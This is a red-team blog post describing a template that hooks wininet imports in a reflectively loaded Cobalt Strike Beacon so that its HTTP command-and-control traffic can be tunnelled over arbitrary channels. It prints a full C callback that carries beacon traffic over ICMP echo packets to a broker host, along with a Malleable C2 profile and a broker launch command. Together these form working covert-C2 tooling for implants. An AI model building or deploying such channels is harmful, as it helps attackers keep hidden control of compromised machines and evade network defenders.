Building custom C2 channels by hooking wininet

Because official specs sometimes (often) suck

Another disclaimer: UDC2 was not yet released at the time I began writing this tool and blog post - it was released between the initial repo release and this blogpost being released.

https://github.com/CodeXTF2/CustomC2ChannelTemplate <— repo for the blog post

Disclaimer: IAT hooking (including of the wininet APIs) for custom C2 is not exactly new, neither do I claim to be the first to do it. There are other projects that have done this before as well, but for specific channels e.g. DNS, Graph API etc. The purpose of this is to make a generic interface for doing so that isn't protocol specific. Refer to the credits in the Github repository.

This blog post will explain the thought process behind this template's design and briefly walk through using its example PoCs and a walkthrough of extending the template with an ICMP channel.

Overview

Most C2 frameworks these days have some sort of HTTP C2 channel, but not all of them have a well documented interface for implementing custom channels. And some of them (e.g. Cobalt Strike's externalc2) have very restrictive specifications on implementing the official custom C2 interface. As acknowledged by Fortra themselves, the current Cobalt Strike externalc2 interface is quite restrictive to the developer and operator, as it required (so far) that the following take place:

  1. The externalc2 handler connect to the Cobalt Strike teamserver

  2. The externalc2 agent connect to its handler

  3. The externalc2 agent request via its handler, a special SMB beacon from the teamserver

  4. The externalc2 agent stage said SMB beacon into memory (as shellcode)

  5. The externalc2 agent talks to the SMB beacon over a named pipe

This created a very static execution chain for externalC2 - there was not much freedom for the developer or operator to avoid these specific actions, and any accompanying tradeoffs they might have to accommodate.

As of Cobalt Strike 4.10, a pass through mode was added to allow using of a pre-made SMB beacon to be used, removing the need for the additional staging step, and as of Cobalt Strike 4.12 (releasing soon, at the time of this writing) a BOF based custom C2 interface for Cobalt Strike is being planned. While more flexible, this will probably still be subject to the limitations of the Cobalt Strike COFF loader, which has caused me (and others) some headaches during development in the past, enough for Matt Ehrnschwender to write an entire linker for BOFs to fix some of these issues.

Average day as an aggressorscript victim

However, most if not all C2 frameworks have a HTTP based C2 channel. This opens up the possibility of making custom C2 channels, by simply hooking the HTTP APIs to intercept the data wholesale, packaging it up and shipping it over an arbitrary channel, then receiving it on the attacker end and parsing it out to send to the HTTP listener transparently. This approach can technically be used for any any C2 framework that:

  • Uses the standard HTTP libraries in Windows (e.g. wininet)

  • Has a HTTP C2 channel

In theory, this can be transparently implemented in any framework that meets these criteria, however it is significantly easier for implants that are reflectively loaded into memory, as the reflective loader can control the import resolution process and by extension, the import table of the resulting PE in memory, which allows for hooking without actually tampering with the wininet dll in memory or the actual IAT of the process.

The logic is basically as such:

The first tool that comes to mind for implementing this in a C2 agnostic, easily modifiable way is the Crystal Palace framework by Raphael Mudge. To put it simply, it is a framework for creation of position independent DLL loaders. It comes with some IAT hooking examples, which is perfect for this use case.

For the sake of this PoC I have used @Rastamouse's Crystal Kit as a dev template, though in theory the code in the repo should be able to be easily ported to any reflective loader such as AceLdr, BokuLoader etc. that supports IAT hooks. It was also developed and tested with Cobalt Strike, but should be easily ported and implemented on any other framework that meets the above criteria.

The PoC template in this repository hooks the wininet APIs that Cobalt Strike uses and puts it into JSON format, then base64 encodes it and passes it into a function customCallback().

In theory, as long as you modify the customCallback() function to send that base64 blob to the third party handler and get a response from the third party handler, you can return it and expect Beacon to work, regardless of the channel.

The third party handler just has to decode and forward the HTTP requests it receives, via any medium.

There are TCP and UDP examples provided in the examples folder of the repository, but you should really make your own, as they are examples and not meant to be operationally stable (the UDP one wont support any callbacks larger than 65535 because I was too lazy to implement chunking past the max datagram size, lol). This blog post will demonstrate implementing of a ICMP based channel using this template.

This blog post wont go into how ICMP itself can be used as a protocol - the method is directly taken from this other Github repo. Please read his original blog post, or read the (GPT generated) comments in my code.

Here is my code for the customCallback() function I implemented to use this channel, as an example:

// customCallback
// -------------
// This function is intended to be used as a "callback" that takes an encoded
// request (string), sends it to a remote "broker" over ICMP (using IcmpSendEcho),
// waits for a reply, and then returns a dynamically allocated buffer containing
// the response data as a NUL-terminated string.
//
// The wire format looks like this:
//
//   Request (sent via ICMP payload):
//      [4 bytes: DWORD reqLen][reqLen bytes: encodedRequest bytes]
//
//   Response (received in ICMP reply payload):
//      [4 bytes: DWORD responseLen][responseLen bytes: response data]
//
// Memory for the returned response string is allocated from the process heap
// via HeapAlloc and must be freed by the caller with HeapFree(GetProcessHeap()).
//
static char *customCallback(const char *encodedRequest, const char *host, INTERNET_PORT port)
{
    // Get the current process heap handle once, used for all HeapAlloc/HeapFree calls.
    HANDLE hHeap = KERNEL32$GetProcessHeap();

    // Determine the length of the encodedRequest string (if non-NULL).
    // MSVCRT$strlen is the imported msvcrt strlen.
    DWORD reqLen = encodedRequest ? (DWORD)MSVCRT$strlen(encodedRequest) : 0;

    // Handle for the ICMP "file" returned by IcmpCreateFile.
    HANDLE icmpHandle = NULL;

    // Buffers used for sending and receiving ICMP payloads,
    // plus the final response that will be returned to the caller.
    char *sendBuffer = NULL;
    char *responseBuf = NULL;
    char *replyBuffer = NULL;

    // Log basic info about the callback invocation: host and port requested.
    // If host is NULL, print an empty string instead to avoid dereferencing NULL.
    MSVCRT$printf("[customCallback] received request for %s:%u\n",
                  host ? host : "",
                  (unsigned int)port);

    // If there is no request data (NULL pointer or zero length), there is nothing to send.
    // Early-out and return NULL in this case.
    if (encodedRequest == NULL || reqLen == 0) {
        MSVCRT$printf("[customCallback] no request data to send\n");
        return NULL;
    }

    // Open an ICMP handle. This is required before calling IcmpSendEcho.
    // Returns INVALID_HANDLE_VALUE on failure.
    icmpHandle = IPHLPAPI$IcmpCreateFile();
    if (icmpHandle == INVALID_HANDLE_VALUE) {
        MSVCRT$printf("[customCallback] IcmpCreateFile failed\n");
        return NULL;
    }

    // We construct the ICMP payload as:
    //    [4 bytes: reqLen][reqLen bytes: encodedRequest]
    //
    // So the total packetLen is the size of the length field plus the data itself.
    DWORD packetLen = sizeof(DWORD) + reqLen;

    // Allocate a buffer on the process heap for the outgoing ICMP payload.
    sendBuffer = (char *)KERNEL32$HeapAlloc(hHeap, 0, packetLen);
    if (sendBuffer == NULL) {
        MSVCRT$printf("[customCallback] allocation failed for request buffer\n");
        goto cleanup;  // Jump to cleanup to close handles, etc.
    }

    // Copy the 4-byte length prefix into the beginning of the send buffer.
    memcpy(sendBuffer, &reqLen, sizeof(DWORD));

    // Copy the request bytes immediately after the length field.
    memcpy(sendBuffer + sizeof(DWORD), encodedRequest, reqLen);

    // Allocate a buffer to receive the ICMP echo reply.
    //
    // ICMP_REPLY_BUFSIZE is expected to be a macro that defines how big the reply
    // buffer should be (enough for an ICMP_ECHO_REPLY structure plus payload).
    DWORD replySize = ICMP_REPLY_BUFSIZE;
    replyBuffer = (char *)KERNEL32$HeapAlloc(hHeap, 0, replySize);
    if (replyBuffer == NULL) {
        MSVCRT$printf("[customCallback] allocation failed for reply buffer\n");
        goto cleanup;
    }

    // Convert the BROKER_IP string (e.g., "192.168.1.10") into a 32-bit IPv4 address
    // in network byte order using inet_addr. On failure, inet_addr returns INADDR_NONE.
    DWORD destIp = WS2_32$inet_addr(BROKER_IP);

    // Send the ICMP Echo request:
    //
    //  icmpHandle   - handle from IcmpCreateFile
    //  destIp       - destination IPv4 address
    //  sendBuffer   - pointer to our custom payload (length + request)
    //  packetLen    - size of payload in bytes
    //  NULL         - no custom IP_OPTION_INFORMATION structure
    //  replyBuffer  - buffer to receive ICMP_ECHO_REPLY + data
    //  replySize    - size of replyBuffer
    //  ICMP_TIMEOUT_MS - timeout (in milliseconds) for the echo reply
    //
    // On success, IcmpSendEcho returns the number of replies received (non-zero).
    DWORD result = IPHLPAPI$IcmpSendEcho(
        icmpHandle,
        destIp,
        sendBuffer,
        (WORD)packetLen,
        NULL,
        replyBuffer,
        replySize,
        ICMP_TIMEOUT_MS
    );

    // If result == 0, the call failed or no reply was received within timeout.
    if (result == 0) {
        MSVCRT$printf("[customCallback] IcmpSendEcho failed\n");
        goto cleanup;
    }

    // Interpret the replyBuffer as an ICMP_ECHO_REPLY structure so we can inspect
    // the status and get the payload (pReply->Data, pReply->DataSize).
    PICMP_ECHO_REPLY pReply = (PICMP_ECHO_REPLY)replyBuffer;

    // If Status is not IP_SUCCESS, the ICMP reply is considered an error.
    if (pReply->Status != IP_SUCCESS) {
        MSVCRT$printf("[customCallback] ICMP reply returned status 0x%08lx\n",
                      (unsigned long)pReply->Status);
        goto cleanup;
    }

    // We expect the reply payload layout to be:
    //   [4 bytes: DWORD responseLen][responseLen bytes: response data]
    //
    // First verify that we have at least enough bytes to read the length field.
    if (pReply->DataSize < sizeof(DWORD)) {
        MSVCRT$printf("[customCallback] ICMP reply too small for length field\n");
        goto cleanup;
    }

    // Read the 4-byte response length from the beginning of the reply payload.
    DWORD responseLen = 0;
    memcpy(&responseLen, pReply->Data, sizeof(DWORD));

    // Validate the responseLen:
    //  - It must be non-zero.
    //  - It must fit within the rest of the payload (DataSize - sizeof(DWORD)).
    if (responseLen == 0 || responseLen > (pReply->DataSize - sizeof(DWORD))) {
        MSVCRT$printf("[customCallback] invalid response length %lu from ICMP reply\n",
                      (unsigned long)responseLen);
        goto cleanup;
    }

    // Allocate a buffer to hold the response data plus a terminating NUL byte.
    // This is the buffer we will return to the caller.
    responseBuf = (char *)KERNEL32$HeapAlloc(hHeap, 0, responseLen + 1);
    if (responseBuf == NULL) {
        MSVCRT$printf("[customCallback] allocation failed for response buffer\n");
        goto cleanup;
    }

    // Copy the response bytes (starting right after the 4-byte length field)
    // from the ICMP reply payload into our response buffer.
    memcpy(responseBuf,
           (char *)pReply->Data + sizeof(DWORD),
           responseLen);

    // Manually NUL-terminate the response string to make it a valid C string.
    responseBuf[responseLen] = '\0';

    // Log how many bytes we received successfully.
    MSVCRT$printf("[customCallback] received %lu bytes over ICMP\n",
                  (unsigned long)responseLen);

    // Note: At this point, responseBuf points to a heap-allocated, NUL-terminated
    //       string that the caller is expected to free.

cleanup:
    // Free the outgoing packet buffer if it was allocated.
    if (sendBuffer != NULL) {
        KERNEL32$HeapFree(hHeap, 0, sendBuffer);
    }

    // Free the ICMP reply buffer if it was allocated.
    if (replyBuffer != NULL) {
        KERNEL32$HeapFree(hHeap, 0, replyBuffer);
    }

    // Close the ICMP handle if it was successfully created.
    if (icmpHandle != NULL && icmpHandle != INVALID_HANDLE_VALUE) {
        IPHLPAPI$IcmpCloseHandle(icmpHandle);
    }

    // Return the response buffer (may be NULL if any failure occurred).
    // Caller is responsible for freeing it with HeapFree(GetProcessHeap()).
    return responseBuf;
}

You will have to update hook.h to resolve some functions (like the IPHLPAPI ones).

You will then need to modify the handleCallback() function in broker.py to listen for ICMP requests, extract the base64 blob and hand it off to the process_encoded_request() function.

This function is also very simple - all you need to do is receive the data, then call

        # This is what you call to send data to the teamserver
        # you must call process_func on the encoded request to get
        # the response
        encoded_response = process_encoded_request(encoded_request)

and return the encoded_response over the channel of choice (in this case ICMP)

The actual sending and receiving of data over ICMP is out of the scope of this blog post, but it should be relatively simple to implement with a rough understanding of the ICMP channel described in the blog post linked above. The full code is provided in the Github repository.

To use it, all you need to do is to download and load the Crystal kit, and replace the udrl/src/hook.c and udrl/src/hook.h with your modified files, drop in a customCallback.h from the examples folder, then use it to generate a Beacon. Do remember to use wininet as the HTTP option, since thats what the hooks were applied to. winhttp will function as usual.

While most Malleable C2 profiles should work, the profile that this was tested with is the one used by GraphStrike.

http-get "customc2" {

    # We just need our URI to be something unique and recognizable in order for GraphStrike to parse out values
    set uri "/_";
    set verb "GET";

    client {

        metadata {
            base64url;
            uri-append;
        }
    }

    server {

        output {   
            print;
        }
    }
}

http-post "customc2" {

    # We just need our URI to be something unique and recognizable in order for GraphStrike to parse out values
    set uri "/-_";
    set verb "POST";

    client {
       
        id {
            uri-append;         
        }
              
        output {
            print;
        }
    }

    server {

        output {
            print;
        }
    }
}

Now, all you need to do is run the broker script

python broker_icmp.py --host 192.168.208.137 --port 4444 --listen-host 0.0.0.0

and run the beacon.

Here's a video of the ICMP channel in action:

These hooks should be easily ported to other C2 frameworks as well, like Metasploit meterpreter, but will not be covered in this blog post.

Last updated